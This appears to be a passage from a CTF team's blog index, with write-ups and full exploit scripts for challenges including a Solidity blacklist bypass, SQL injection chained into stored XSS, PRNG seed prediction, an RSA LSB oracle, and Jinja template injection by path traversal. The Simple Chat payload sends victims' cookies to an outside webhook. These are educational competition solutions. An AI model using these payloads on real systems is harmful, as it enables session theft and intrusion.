6quot;type\u0026quot;:\u0026quot;bool\u0026quot;},{\u0026quot;internalType\u0026quot;:\u0026quot;bytes\u0026quot;,\u0026quot;name\u0026quot;:\u0026quot;result\u0026quot;,\u0026quot;type\u0026quot;:\u0026quot;bytes\u0026quot;}],\u0026quot;stateMutability\u0026quot;:\u0026quot;nonpayable\u0026quot;,\u0026quot;type\u0026quot;:\u0026quot;function\u0026quot;}] contr = web3.eth.contract(address=contr_add, abi=contr_abi) bytecode_bytes = Web3.to_bytes(hexstr=bytecode_hex) salt_bytes = Web3.to_bytes(hexstr=salt_hex) print(contr.functions.run(bytecode_bytes, salt_bytes).call()) Here, the most crucial part is obv the blacklist.\nThis blacklist effectively blocks the most straightforward exploits:\nflag: Directly calling target.flag() is prohibited. address: We cannot declare an address variable to hold the target contract\u0026rsquo;s location. gas: Access to the gas() opcode is restricted, which is often needed for low-level calls. this: Retrieving our own contract\u0026rsquo;s address is also disallowed. The goal is clear: invoke the flag() function on the BytecodeRunner contract.\nSince main() is executed by BytecodeRunner, the contract\u0026rsquo;s address is simply msg.sender.\nThe challenge comes down to circumventing these blacklist limitations basically.\nMy Solve Looking at other write-ups for this challenge, it’s clear that there were a variety of approaches to solving it. Some solutions focused heavily on the Python side, manipulating the server-side logic (like sub-stringing the \u0026ldquo;flag\u0026rdquo; keyword), while others leaned more on Solidity, crafting intricate contracts to bypass restrictions (like the definition of an interface with the same function name and type signature, then cast the contract’s address to that interface). In my case, I believe I tackled the challenge using the simplest and most straightforward method possible. In fact:\nI executed the function via a low-level call, specifically using the .call() method on an address and supplying the calldata manually. But how can you calculate a calldata?\nThere are multiple techniques to construct the calldata in Solidity for a function invocation. Common methods include:\nabi.encodeWithSignature(\u0026quot;functionName(types...)\u0026quot;) abi.encodeCall(ContractName.functionName, (args...)) abi.encodeWithSelector(bytes4Selector, (args...)) The first two methods rely on providing the function name as a string, which is explicitly blacklisted, so we can\u0026rsquo;t use them. Therefore, using the last one: abi.encodeWithSelector, it allows us to bypass this restriction using a function selector.\nA function selector is derived as the first 4 bytes of the Keccak-256 hash of its canonical signature -\u0026gt; $ \\text{bytes4}(\\text{keccak256}(\"functionName(inputTypes)\")) $. In our case flag() has no input types, so it will be empty.\nThe selector for flag() is 0x890eba68. I used Foundry’s cast sig command to compute this easily.\nWe also need to bypass the restriction on using the address keyword. Because the main() function is executed by the target contract itself, its address is inherently available via msg.sender. This removes the necessity of defining a separate address variable. By combining the appropriate function selector with msg.sender as the destination, a conventional low-level .call() invocation suffices to execute the target function, thereby resolving the challenge.\nThe Payload:\n(bool ok, bytes memory res) = msg.sender.staticcall( abi.encodeWithSelector(0x890eba68) ); require(ok, \u0026quot;failed\u0026quot;); return string(res); $ flag: wwf{y0u_4r3_7h3_7ru3_m4573r_0f_s0l1d17y} Author: galexela ","permalink":"http://localhost:1313/writeups/wwfctf2025/solidity-jail1/","title":"Solidity Jail 1"},{"content":" World Wide CTF 2025 Description Hack, solve, and conquer — a CTF designed to challenge minds of all levels. World Wide Flags is back this year with World Wide CTF 2025!\nMore Prizes, More Categories, and Much More Fun!\nUrl Discord Performance Summary CTFs: 20/57 Total points: 6537 Position: 24/850 Rating points: 12.510 Writeups Web \u0026amp; Web3 Blank Login Solidity Jail 1 ","permalink":"http://localhost:1313/writeups/wwfctf2025/","title":"Word Wide Flag CTF 2025"},{"content":" L3akCTF 2025 Description Beginner-friendly CTF. Challenge difficulty will range from beginner to expert. 10 categories: crypto, web, rev, pwn, forensics, osint, mobile, hardware/rf, hash cracking, and misc.\nUrl Discord Performance Summary CTFs: 19/65 Total points: 950 Position: 201/1587 Rating points: 1.725 Writeups Hardware Beneath the Surface ","permalink":"http://localhost:1313/writeups/l3akctf2025/","title":"L3akCTF 2025"},{"content":"Simple-Chat Description: Simple web application to chat with your friends! Sometimes it does funny things and it\u0026rsquo;s ok like that\nIntroduction Okay, this is a really nice challenge. This is a pretty second CTF web challenge. It\u0026rsquo;s a simple XSS with a twist.\nSource Let\u0026rsquo;s look at two parts of the FUNDAMENTAL code\n// filename: app.js app.post('/api/v1/insertChat', async (req, res) =\u0026gt; { const sender = req.body.sender; const receiver = req.body.receiver; var message = req.body.message; if (!FRIENDS.includes(sender) \u0026amp;\u0026amp; sender !== 'admin' \u0026amp;\u0026amp; sender !== 'kekw') { res.json({ 'status': \u0026quot;you can't write messages on behalf of other people.\u0026quot; }) return } if (!FRIENDS.includes(receiver) \u0026amp;\u0026amp; receiver !== 'admin' \u0026amp;\u0026amp; receiver !== 'kekw') { res.json({ 'status': \u0026quot;you can't write to nobody\u0026quot; }) return; } //no XSS message = message.replaceAll('\u0026lt;', '\u0026amp;lt;'); message = message.replaceAll('\u0026gt;', '\u0026amp;gt;'); const result = await db.insertChat(sender, receiver, message); if (result != 0) { res.json({ 'status': \u0026quot;Couldn't insert the chat.\u0026quot; }); return; } const response = { 'status': 'Success' }; res.json(response); }) In the above script, we see that several checks are made for the sender and receiver when messages are inserted into chats. Most importantly, we see that the characters \u0026lt; and \u0026gt; are replaced with \u0026amp;lt; and \u0026amp;gt;, respectively, so that we cannot insert XSS directly.\n// filename: db.js async insertChat(sender, receiver, message) { try { const query = `INSERT INTO chat(sender,receiver,message) VALUES ('${sender}','${receiver}','${message}');`; await this.client.query(query); } catch (e) { console.log(`Error: ${e}`) return 1; } return 0; } Upon analyzing the DB calls, we see that a direct query insert is made. Therefore, we can exploit an SQLi to bypass the replace check. There are also SQLi\u0026rsquo;s in every db query, so we can do whatever we want, like logging in as an admin, but that wasn\u0026rsquo;t really necessary.\nSolution # filename: exploit.py #!/usr/bin/python3 import random import string import requests BASE_URL = \u0026quot;http://localhost\u0026quot; # BASE_URL = \u0026quot;https://simple-chat-b6eb1bef.challs.cornc.tf\u0026quot; URL_HOOK = \u0026quot;https://webhook.site/1911a3b8-9c48-468c-a2aa-05e81cb1df93\u0026quot; s = requests.Session() def string_generator(length): return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length)) def getMessages(friend): r = s.get(BASE_URL + \u0026quot;/api/v1/fetchMessages\u0026quot;, params={\u0026quot;friend[]\u0026quot;: friend}) if r.status_code != 200: print(\u0026quot;Error getting messages\u0026quot;) return None return r.json() def getProfile(): r = s.get(BASE_URL + \u0026quot;/api/v1/profile\u0026quot;) if r.status_code != 200: print(\u0026quot;Error getting profile\u0026quot;) return None return r.json() def login(username,password): r = s.post(BASE_URL + \u0026quot;/api/v1/login\u0026quot;, json={\u0026quot;username\u0026quot;: username, \u0026quot;password\u0026quot;: password},headers={\u0026quot;Origin\u0026quot;:\u0026quot;http://localhost\u0026quot;}) if r.status_code != 200: print(\u0026quot;Error login\u0026quot;) return None return r.json() def insertChat(sender,receiver,message): r = s.post(BASE_URL + \u0026quot;/api/v1/insertChat\u0026quot;, json={\u0026quot;sender\u0026quot;: sender, \u0026quot;receiver\u0026quot;: receiver, \u0026quot;message\u0026quot;: message}) if r.status_code != 200: print(\u0026quot;Error inserting chat\u0026quot;) return None return r.json() def build_payload_xss(sender, target_user, xss_url): js_payload = f\u0026quot;\u0026quot;\u0026quot;img src=\u0026quot;a\u0026quot; onerror=\u0026quot;fetch('{URL_HOOK}?q='+document.cookie)\u0026quot;);\u0026quot;\u0026quot;\u0026quot; sql_payload = \u0026quot;chr(60)||'\u0026quot; + js_payload.replace(\u0026quot;'\u0026quot;, \u0026quot;''\u0026quot;) + \u0026quot;'||chr(62)\u0026quot; injected_query = f\u0026quot;\u0026quot;\u0026quot;aaa'); INSERT INTO chat(sender, receiver, message) VALUES ('{target_user}','admin',{sql_payload});-- \u0026quot;\u0026quot;\u0026quot; return injected_query def ping(): r = s.get(BASE_URL + \u0026quot;/ping\u0026quot;,params={\u0026quot;friend\u0026quot;:\u0026quot;Val\u0026quot;}) if r.status_code != 200: print(\u0026quot;Error pinging\u0026quot;) return None return r.json() def main(): login(\u0026quot;kekw\u0026quot;, \u0026quot;kekw\u0026quot;) print(s.cookies[\u0026quot;connect.sid\u0026quot;]) print(getMessages(\u0026quot;Val\u0026quot;)) print(getProfile()) print(insertChat(\u0026quot;kekw\u0026quot;, \u0026quot;Val\u0026quot;, \u0026quot;aaa'); UPDATE users SET password='cookie' WHERE username='Val'; --\u0026quot;)) print(insertChat(\u0026quot;kekw\u0026quot;, \u0026quot;Val\u0026quot;, build_payload_xss(\u0026quot;kekw\u0026quot;, \u0026quot;Val\u0026quot;, URL_HOOK))) print(ping()) # Wait for the XSS to trigger and send the cookie to the webhook if __name__ == \u0026quot;__main__\u0026quot;: main() # goodluck by @akiidjk $ flag: corn{d0ubl3_uns4n1t1z4tion_d4mnnnn_f45a85f9d6346d8b} Author: akiidjk ","permalink":"http://localhost:1313/writeups/cornctf2025/simple-chat/","title":"Simple Chat"},{"content":"Aeronaut Description: Aeronaut is a gambling game in which you bet on a multiplier. The goal is to get 100.000.000$. Good luck!\nIntroduction The last round of the CyberCup2025 competition was very good, with a challenging CTF. The challenge is a gambling game in which you bet on a multiplier. The goal is to earn 100,000,000 dollars. The game is implemented in Python using WebSocket and uses insecure randomness to generate multipliers. This allows us to predict the next multiplier and exploit the game.\nSource # filename: file.py def game_loop(): \u0026quot;\u0026quot;\u0026quot;Background game loop\u0026quot;\u0026quot;\u0026quot; round_number = 0 random.seed(int(time.time())) mult_list = [generate_multiplier() for i in range(10000)] while True: # Start new round gs.max_multiplier = mult_list[round_number % 10000] round_number += 1 gs.current_multiplier = 1.0 gs.game_phase = 'betting' gs.round_start_time = time.time() The seed is technically predictable. Initially, I wasn\u0026rsquo;t sure it would work because the instance might have been activated for too long, which would have made brute forcing impossible. Fortunately, my colleague persuaded me to try it out and it worked very well, requiring only 12 hours of brute forcing in about 10 minutes.\nSolution I created a simple and effective script that takes crash data and uses brute force to compare the seed with the crash streak. Then, I can predict the next crash and automatically place a bet.\n# filename: exploit.py #!/usr/bin/env python3 import asyncio import random import time import socketio import functools import concurrent.futures URL = \u0026quot;http://localhost:5000\u0026quot; SIO_PATH = \u0026quot;/socket.io\u0026quot; HOUSE = 0.01 OBS_N = 10 SEARCH_H = 12 * 3600 # +- 12 ore EXEC = concurrent.futures.ThreadPoolExecutor(max_workers=1) def _mult(rng, house_edge=HOUSE): F = 1 - house_edge return (1 / rng.uniform(0.01, 1.0)) * F def build_seq(seed, n=10_000): rng = random.Random(seed) return [_mult(rng) for _ in range(n)] def brute_seed_sync(obs, start, end): for seed in range(start, end + 1): seq = build_seq(seed) for i in range(len(seq) - len(obs) + 1): if all(abs(seq[i+j] - obs[j]) \u0026lt; 0.01 for j in range(len(obs))): return seed, i raise RuntimeError(\u0026quot;Seed non trovato\u0026quot;) async def main(): sio = socketio.AsyncClient() observed = [] brute_fut = None seed = offset = None sequence = None idx = 0 has_bet = False has_cashed = False balance = None @sio.event async def connect(): print(f\u0026quot;[+] connected – waiting {OBS_N} crash…\u0026quot;) @sio.on(\u0026quot;cashout_response\u0026quot;) async def on_bet_response(data): nonlocal balance if data.get(\u0026quot;success\u0026quot;): balance = data.get(\u0026quot;balance\u0026quot;) print(f\u0026quot;[+] Bet accepted. New balance: {balance}\u0026quot;) else: print(\u0026quot;[-] Bet failed.\u0026quot;) @sio.on(\u0026quot;game_state\u0026quot;) async def on_state(d): nonlocal brute_fut, seed, offset, sequence, idx, has_bet, has_cashed, balance phase = d[\u0026quot;phase\u0026quot;] if phase == \u0026quot;betting\u0026quot;: if seed is not None and not has_bet: if balance is None: balance = 10 if sequence is not None: print(\u0026quot;[+] Current balance: \u0026quot;,balance) next_crash = sequence[(idx - 1) % 10_000] print(f\u0026quot;[+] Betting – predicted crash: {next_crash:.2f}\u0026quot;) await sio.emit(\u0026quot;place_bet\u0026quot;, {\u0026quot;amount\u0026quot;: int(balance)}) has_bet = True elif phase == \u0026quot;game\u0026quot;: if seed is not None and has_bet and not has_cashed: next_crash = sequence[(idx - 1) % 10_000] cashout_at = max(1.01, next_crash - 0.05) current_multiplier = float(d.get(\u0026quot;multiplier\u0026quot;, 1.0)) if current_multiplier \u0026gt;= cashout_at: print(f\u0026quot;[+] Cashing out at {current_multiplier:.2f} \u0026quot; f\u0026quot;(before predicted crash {next_crash:.2f})\u0026quot;) await sio.emit(\u0026quot;cashout\u0026quot;) has_cashed = True elif phase == \u0026quot;ended\u0026quot;: crash = float(d[\u0026quot;multiplier\u0026quot;]) observed.append(crash) print(f\u0026quot;[+] crash #{len(observed)}: {crash:.2f}\u0026quot;) if brute_fut is None and len(observed) \u0026gt;= OBS_N: now = int(time.time()) start = now - SEARCH_H print(f\u0026quot;[+] brute-force {start} → {now}… (in thread)\u0026quot;) loop = asyncio.get_running_loop() brute_fut = loop.run_in_executor( EXEC, functools.partial(brute_seed_sync, obs=observed[:OBS_N], start=start, end=now) ) if brute_fut is not None and brute_fut.done() and seed is None: seed, offset = brute_fut.result() sequence = build_seq(seed) idx = offset + len(observed) print(\u0026quot;\\n[+] seed:\u0026quot;, seed) print(\u0026quot;[+] start offset:\u0026quot;, offset) print(\u0026quot;[+] current round:\u0026quot;, idx % 10_000, \u0026quot;\\n\u0026quot;) if seed is not None: next_crash = sequence[idx % 10_000] print(f\u0026quot;[+] Next expected crash: {next_crash:.2f}\u0026quot;) idx += 1 has_bet = False has_cashed = False @sio.on(\u0026quot;error\u0026quot;) async def on_error(msg): if \u0026quot;corn{\u0026quot; in msg: print(\u0026quot;FLAG: \u0026quot;, msg[\u0026quot;message\u0026quot;]) exit(0) print(\u0026quot;⚠️ server error:\u0026quot;, msg) await sio.connect(URL, socketio_path=SIO_PATH, transports=[\u0026quot;websocket\u0026quot;]) await sio.wait() if __name__ == \u0026quot;__main__\u0026quot;: asyncio.run(main()) $ flag: corn{1_d0n7_g4mbl3_i_a1w4y5_w1n} Author: akiidjk ","permalink":"http://localhost:1313/writeups/cornctf2025/aeronaut/","title":"aeronaut"},{"content":" CornCTF 2025 Description A CTF by a friendly team of farmers. Includes challenges of the following categories:\nUrl Discord Performance Summary CTFs: 8/22 Total points: 1966 Position: 9/270 Rating points: 8.811 Writeups Crypto ECRSA Web Aeronaut Simple-chat ","permalink":"http://localhost:1313/writeups/cornctf2025/","title":"CornCTF 2025"},{"content":" ECRSA RSA or Elliptic Curves? Why not both?\nIntroduction ECRSA was a crypto CTF from cornCTF 2025.\n#!/usr/bin/env python3 from secret_params import curve_p, a, b, order, secret_point_x, secret_point_y import os FLAG = os.getenv(\u0026quot;FLAG\u0026quot;, \u0026quot;corn{__redacted_redacted_redacted__redacted_redacted_redacted__}\u0026quot;).encode() assert FLAG.startswith(b\u0026quot;corn{\u0026quot;) and FLAG.endswith(b\u0026quot;}\u0026quot;) assert len(FLAG) == 64 def sign(m, x): if m == 0 or m == 1 or m == n-1: print(\u0026quot;No weak messages allowed here\u0026quot;) return None try: user_point = E.lift_x(x) except ValueError: print(f\u0026quot;Invalid point: {x} does not describe any point on the curve\u0026quot;) return None sig = pow(m, d, n) sig = sig * user_point + secret_point return sig.xy()[0], sig.xy()[1] def verify(sig, m, x): try: user_point = E.lift_x(x) except ValueError: print(f\u0026quot;Invalid point: {x} does not describe any point on the curve\u0026quot;) return False sig_point = sig - secret_point # don't want to make you wait too long # c = sig_point.log(user_point) c = 0x69 c = pow(c, e, n) return c == m assert curve_p.bit_length() == 513 assert order.bit_length() == 513 K = GF(curve_p) a = K(a) b = K(b) K = GF(curve_p) E = EllipticCurve(K, (a, b)) E.set_order(order) secret_point = E(secret_point_x, secret_point_y) flag = int.from_bytes(FLAG, byteorder='big') p = random_prime(2\u0026lt;\u0026lt;255, lbound=2\u0026lt;\u0026lt;254) q = random_prime(2\u0026lt;\u0026lt;255, lbound=2\u0026lt;\u0026lt;254) n = p*q while flag \u0026gt;= n or n\u0026gt;curve_p or n\u0026gt;order: p = random_prime(2\u0026lt;\u0026lt;255, lbound=2\u0026lt;\u0026lt;254) q = random_prime(2\u0026lt;\u0026lt;255, lbound=2\u0026lt;\u0026lt;254) n = p*q e = 0x10001 d = pow(e, -1, (p-1)*(q-1)) print(\u0026quot;Welcome to my custom signing and verification system!\u0026quot;) print(\u0026quot;Here are my public parameters:\u0026quot;) print(f\u0026quot;e: {e}\u0026quot;) print(f\u0026quot;n: {n}\u0026quot;) print(f\u0026quot;Leak: {pow(flag, e, n)}\u0026quot;) while True: print(\u0026quot;1. Sign\\n2. Verify\\n3. Exit\u0026quot;) choice = int(input()) if choice == 1: m = int(input(\u0026quot;Enter message: \u0026quot;)) x = Integer(input(\u0026quot;Enter x-coordinate of your point: \u0026quot;)) sig = sign(m, x) print(f\u0026quot;Signature: {sig}\u0026quot;) elif choice == 2: try: sig_x = Integer(input(\u0026quot;Enter x-coordinate of signature: \u0026quot;)) sig_y = Integer(input(\u0026quot;Enter y-coordinate of signature: \u0026quot;)) sig = E(sig_x, sig_y) except TypeError: print(\u0026quot;Invalid signature\u0026quot;) continue m = int(input(\u0026quot;Enter message: \u0026quot;)) x = K(Integer(input(\u0026quot;Enter x-coordinate of your point: \u0026quot;))) if verify(sig, m, x): print(\u0026quot;Valid signature\u0026quot;) else: print(\u0026quot;Invalid signature\u0026quot;) elif choice == 3: break else: print(\u0026quot;Invalid choice\u0026quot;) The flag is simply encrypted with RSA, while the service provides a modified ECDSA signing oracle.\nSolution There are 3 steps to the solution:\nRecover the secret_point Figure out the curve parameters Obtain the flag Recovering secret_point This step is really easy as the check in sign for the value of m is done before the modular reduction, therefore sending a multiple of the modulus will pass the check but pow(m, d, n) will result in a 0, meaning sign will give back secret_point\nFiguring out the curve parameters With secret_point now ours and being able to provide sign with any user_point we can query the oracle to obtain a few points on the curve, with said points we can recover the parameters:\ndef solve_curve_parameters(r): points = set() for x_in in trange(1, 100): try: point = sign(r, n+1, x_in) points.add(point) if len(points) \u0026gt;= 10: # arbitrary break except: continue points = list(points) dets = [] for i in range(len(points) - 3): (x1, y1), (x2, y2), (x3, y3) = points[i], points[i+1], points[i+2] # Y = y^2 - x^3 -\u0026gt; Y = ax + b (mod p). Y1 = y1**2 - x1**3 Y2 = y2**2 - x2**3 Y3 = y3**2 - x3**3 # w := Y1 - Y2 = a(x1 - x2) (mod p) # z := Y2 - Y3 = a(x2 - x3) (mod p) # So w(x2 - x3) and z(x1 - x2) differ by a multiple of p I = (Y1 - Y2) * (x2 - x3) - (Y2 - Y3) * (x1 - x2) if I != 0: dets.append(I) p = gcd(dets) dx = x1 - x2 a = (Y1 - Y2) * pow(dx, -1, p) % p # From Y1 = a*x1 + b (mod p), we solve for b. b = (Y1 - a * x1) % p # Check if (y3^2) % p == (x3^3 + a*x3 + b) % p lhs = y3**2 % p rhs = (x3**3 + a * x3 + b) % p if lhs == rhs: return p, a, b return None, None, None Getting the flag The idea is to use an LSB-Oracle:\n$c \\equiv m^e \\pmod n$ $(2^ec)^d \\equiv 2m \\pmod n$ the previous value is even if $m \\leq n/2$, odd otherwise (because $n$ is odd) so we can construct bit by bit the value of $m$ by multiplying $c$ by $2^e$ each time\nIn the context of the challenge we need a way to distinguish odd and even values of pow(m, d, n). This can be achieved with a point of order $2$ on the curve, since when pow(m, d, n) is even, multiplying it with our given point $P$ will give the identity, which added to secret_point will give this one back, otherwise we\u0026rsquo;ll get $P$ plus secret_point.\ndef lsb_oracle(r, P): l, u = 0, n c = enc_flag e2 = pow(2, e, n) for _ in trange(n.bit_length()): c *= e2 Q = E(sign(r, c % n, P.xy()[0])) - sp # sp = secret_point if Q == E.zero(): u = (l + u) \u0026gt;\u0026gt; 1 else: l = (l + u) \u0026gt;\u0026gt; 1 return (l + u) \u0026gt;\u0026gt; 1 Full solve script import os os.environ['TERM'] = 'linux' from pwn import * from tqdm import trange # Signing utility def sign(r, m, x): r.recvuntil(b't\\n') r.sendline(b'1') r.recvuntil(b': ') r.sendline(str(m).encode()) r.recvuntil(b': ') r.sendline(str(x).encode()) r.recvuntil(b': ') data = r.recvline(False).decode()[1:-1].split(', ') return int(data[0]), int(data[1]) def solve_curve_parameters(r): points = set() for x_in in trange(1, 100): try: point = sign(r, n+1, x_in) points.add(point) if len(points) \u0026gt;= 10: # arbitrary break except: continue points = list(points) dets = [] for i in range(len(points) - 3): (x1, y1), (x2, y2), (x3, y3) = points[i], points[i+1], points[i+2] # Y = y^2 - x^3 -\u0026gt; Y = ax + b (mod p). Y1 = y1**2 - x1**3 Y2 = y2**2 - x2**3 Y3 = y3**2 - x3**3 # w := Y1 - Y2 = a(x1 - x2) (mod p) # z := Y2 - Y3 = a(x2 - x3) (mod p) # So w(x2 - x3) and z(x1 - x2) differ by a multiple of p I = (Y1 - Y2) * (x2 - x3) - (Y2 - Y3) * (x1 - x2) if I != 0: dets.append(I) p = gcd(dets) dx = x1 - x2 a = (Y1 - Y2) * pow(dx, -1, p) % p # From Y1 = a*x1 + b (mod p), we solve for b. b = (Y1 - a * x1) % p # Check if (y3^2) % p == (x3^3 + a*x3 + b) % p lhs = y3**2 % p rhs = (x3**3 + a * x3 + b) % p if lhs == rhs: return p, a, b return None, None, None def lsb_oracle(r, P): l, u = 0, n c = enc_flag e2 = pow(2, e, n) for _ in trange(n.bit_length()): c *= e2 Q = E(sign(r, c % n, P.xy()[0])) - sp if Q == E.zero(): u = (l + u) \u0026gt;\u0026gt; 1 else: l = (l + u) \u0026gt;\u0026gt; 1 return (l + u) \u0026gt;\u0026gt; 1 r = remote('ecrsa.challs.cornc.tf', 1337, ssl=True) if args.REMOTE else process('./ecrsa.sage') e = 65537 r.recvuntil(b'n: ') n = int(r.recvline(False).decode()) r.recvuntil(b'k: ') enc_flag = int(r.recvline(False).decode()) p, a, b = solve_curve_parameters(r) E = EllipticCurve(GF(p), [a, b]) # order = E.order() # Cached for speed order = 16069075899419272706313306230384148392684766596987923274252840802156807638348274231565457533546984784193487763139164096443059279726687808489053779972143886 E.set_order(order) q = order // 2 # Get point of order 2 while (P := E.random_point()).order() != order: continue P *= q assert P.order() == 2 # Get secret point sp = E(sign(r, 2*n, 1)) m = lsb_oracle(r, P) # Last byte isn't always right, just ignore and force the } print('flag:', int(m).to_bytes(64)[:-1].decode() + '}') r.close() flag: corn{br34k1ng_dl0g_15_h4rd_bu7_m0d_2_m4k35_3v3ry7h1ng_funn13r!!} Author: vympel\n","permalink":"http://localhost:1313/writeups/cornctf2025/ecrsa/","title":"ECRSA"},{"content":" 🎉 CookieFarm v1.0.1 is available 🍪🐮 – Initial Stable Release! We are excited to announce the release of version v1.0.1 of CookieFarm, our Attack/Defense CTF framework designed to make life easier for teams during A/D.\n🧠 What is CookieFarm? CookieFarm is a hybrid Go + Python A/D CTF framework inspired by DestructiveFarm, but with a significantly leaner approach in terms of RAM and CPU consumption. Our philosophy is \u0026ldquo;zero distractions\u0026rdquo;: You just write the exploit logic; we take care of the rest.\n🚀 What\u0026rsquo;s new in v1.0.1? Responsive dashboard in HTMX and tailwindcss Backend in golang with Fiber framework Dynamic protocol loader Shared configuration Client golang with python exploiter manager integration Backend authentication ensures that there is no snitch Docker configuration for fast and easy server deploy Sqlite3 database for portability and efficiency 🛠️ How it works 🔗 Try it now! 👉 ByteTheCookies/Cookiefarm on GitHub: https://github.com/ByteTheCookies/Cookiefarm\n🍪 Why choose CookieFarm? Hybrid Go + Python architecture. Automatic handling of exploits, flags, and scores. Total focus on writing exploits. Open source with an MIT license. ❤️ Special Thanks Huge shoutout to the ByteTheCookies team for building a performance-driven, distraction-free environment tailored for real CTF scenarios in particular to @akiidjk @suga @vympel7 @Dabi1290.\n","permalink":"http://localhost:1313/news/cookiefarmv1.0.1/","title":"CookieFarm v1.0.1 🍪"},{"content":"⚠️ WORKING IN PROGRESS\nStackBank 1 Description: This bank🏦 will let you legally launder your dirty money, so you can live the high life in Dubai 🤑.\nGive it a try — for now, it only lets you send and receive money for your oh-so-reputable Ponzi scheme💸.\nIntroduction \u0026hellip;\nSource \u0026hellip;\n# filename: file.py \u0026hellip;\nSolution \u0026hellip;\n# filename: file.py Author: akiidjk ","permalink":"http://localhost:1313/writeups/ulisse2025/stackbank1/","title":"StackBank 1"},{"content":"Telemetry Description: Elia has just developed a brand-new website to analyze logs at runtime 🧻. Confident in his security skills, he bet his entire house that you won\u0026rsquo;t find the hidden flag\u0026hellip; Will you prove him wrong? 🏠🔍\nIntroduction Fourth round of the Cybercup 2025 ulisseCTF I want to show the writeup of the first web, a really interesting challenge.\nSource The application is a simple Flask app with 0 css (we almost like it).\nWe have 3 main pages:\nindex.html check.html upload.html The thing that stands out is the way the logs are stored, in fact we see that a folder and a file are created for each individual user where the logs are stored, the challenge also refers to the logs so there is likely a related vulnerability, and finally it gives us the ability to run one of the rendered templates that we have in the templates folder, which NORMALLY are just the three html files listed above.\n# filename: app.py @app.route('/login', methods=['POST']) def login(): username = request.form['user'] log_file = request.form['log'] if len(log_file) != 32: flash('Invalid log filename length', 'danger') return redirect('/') user_id = str(uuid.UUID(log_file)) log_file = user_id + '.txt' if os.path.exists(os.path.join('logs', username, log_file)): flash('User/Log already exists', 'danger') return redirect('/') session['user'] = (user_id, username) session['files'] = MAX_FILES os.makedirs(os.path.join('logs', username), exist_ok=True) with open(os.path.join('logs', username, log_file), 'w') as f: f.write(f'[{time.time()}] - Log file: {user_id}.txt\\n') f.write(f'[{time.time()}] - User logged in\\n') return redirect('/upload') To begin the analysis, let us first understand how the login takes place\u0026hellip;\nWe see that the username and the log_file name are taken from the form, the length of the log_file is checked, which must be 32 (number of UUIDv4 characters excluding the \u0026ldquo;-\u0026rdquo;), the log file is created, everything is entered into the session, and finally the logs are written to the file The things that stand out are 2 - The username is not sanitized - The username is used in the creation of the path, which is created insecurely\n# filename: app.py @app.route('/check', methods=['GET', 'POST']) def check(): if request.method == 'GET': return render_template('check.html') template = secure_filename(request.form['template']) if not os.path.exists(os.path.join('templates', template)): flash('Template not found', 'danger') return redirect('/check') try: render_template(template) flash('Template rendered successfully', 'success') except: flash('Error rendering template', 'danger') return redirect('/check') @app.errorhandler(404) def page_not_found(e): if user := session.get('user', None): if not os.path.exists(os.path.join('logs', user[1], user[0] + '.txt')): session.clear() return 'Page not found', 404 with open(os.path.join('logs', user[1], user[0] + '.txt'), 'a') as f: f.write(f'[{time.time()}] - Error at page: {unquote(request.url)}\\n') return redirect('/') return 'Page not found', 404 Now let us look at two more basic elements, the check function and this 404 handler The check function has nothing wrong or broken, so we don\u0026rsquo;t care so much, the only interesting thing we see is that the template that is rendered is not returned, so we won\u0026rsquo;t be able to see the output easily Instead an interesting thing we see is this 404 handler that logs the file when it is called and also writes the path we entered and that triggered it.\nSolution Well, the solution is really interesting because the main vulnerability is that we can give the user any name and that name is not sanitized THEN\u0026hellip; we can give our user the name ../templates.\nIt may seem trivial, but this allows us to render our log file as a template\u0026hellip; Next problem: how do we write arbitrary templates to the log file?\nVERY SIMPLY via the 404 handler, which allows us to write whatever we want in the /endpoint that is returned in the file Well then, we just need to make a request to http://HOST/{config[\u0026quot;FLAG\u0026quot;]} and get the flag, right?\nWell no, remember that unfortunately the output is not returned when rendering the template\u0026hellip; Well, just send the output somewhere or run a shell? Well, neither, because unfortunately there is a very robust sandbox that doesn\u0026rsquo;t allow us to do almost anything.\n# filename: file.py class JinjaEnvironment(SandboxedEnvironment): # Simply wraps jinja's sandboxed environment so that it can be used with flask def __init__(self, app: Flask, **options) -\u0026gt; None: if \u0026quot;loader\u0026quot; not in options: options[\u0026quot;loader\u0026quot;] = app.create_global_jinja_loader() SandboxedEnvironment.__init__(self, **options) self.app = app app.jinja_environment = JinjaEnvironment Session(app) So how do we leak the value?\nWell we can take inspiration from blind error based SQLi in this case and our script would look something like this\n#filename: exploit.py import random import string import os import requests import uuid # BASE_URL = \u0026quot;http://telemetry.challs.ulisse.ovh:6969/\u0026quot; BASE_URL = \u0026quot;http://localhost:6969\u0026quot; s = requests.Session() def login(username,logfile): r = s.post(BASE_URL + \u0026quot;/login\u0026quot;, data={\u0026quot;user\u0026quot;: username,\u0026quot;log\u0026quot;: logfile}) if r.status_code != 200: print(\u0026quot;Login failed\u0026quot;) print(\u0026quot;Error:\u0026quot;, r.text) def trigger404(payload): r = s.get(BASE_URL + f\u0026quot;/{payload}\u0026quot;) if r.status_code != 200: print(\u0026quot;Trigger failed\u0026quot;) print(\u0026quot;Error:\u0026quot;, r.text) print(\u0026quot;Status Code:\u0026quot;, r.status_code) def trigger_template_render(user_id): data = {\u0026quot;template\u0026quot;: user_id + \u0026quot;.txt\u0026quot;} r = s.post(BASE_URL + \u0026quot;/check\u0026quot;, data=data) if \u0026quot;green\u0026quot; in r.text: return True else: return False def restart(): s.cookies.clear() username = \u0026quot;../templates\u0026quot; log = os.urandom(16).hex() user_id = str(uuid.UUID(log)) login(username, log) return user_id def exploit(): alphabet = string.digits + \u0026quot;!_{}\u0026quot; + string.ascii_letters flag = \u0026quot;\u0026quot; user_id = restart() for index in range(len(flag),40): print(f\u0026quot;Index: {index}\u0026quot;) for letter in alphabet: payload = f\u0026quot;{{{{ config['FLAG'][{index}] if config['FLAG'][{index}] == '{letter}' else 1/0 }}}}\u0026quot; trigger404(payload) res = trigger_template_render(user_id) if res: flag += letter print(f\u0026quot;Flag: {flag}\u0026quot;) if letter == \u0026quot;}\u0026quot;: print(\u0026quot;Flag found!\u0026quot;) return user_id = restart() break else: user_id = restart() continue print(f\u0026quot;Flag: {flag}\u0026quot;) def main(): exploit() if __name__ == \u0026quot;__main__\u0026quot;: main() # goodluck by @akiidjk $ flag: UlisseCTF{n3x7_T1m3_st1ck_t0_your_l0g5!} Author: akiidjk ","permalink":"http://localhost:1313/writeups/ulisse2025/telemetry/","title":"Telemetry"},{"content":" Ulisse CTF 2025 Description Ulisse CTF is the first edition of the annual competition hosted by the Ulisse CTF Team at the University of Bologna. Open to participants of all skill levels, it aims to provide a learning experience for 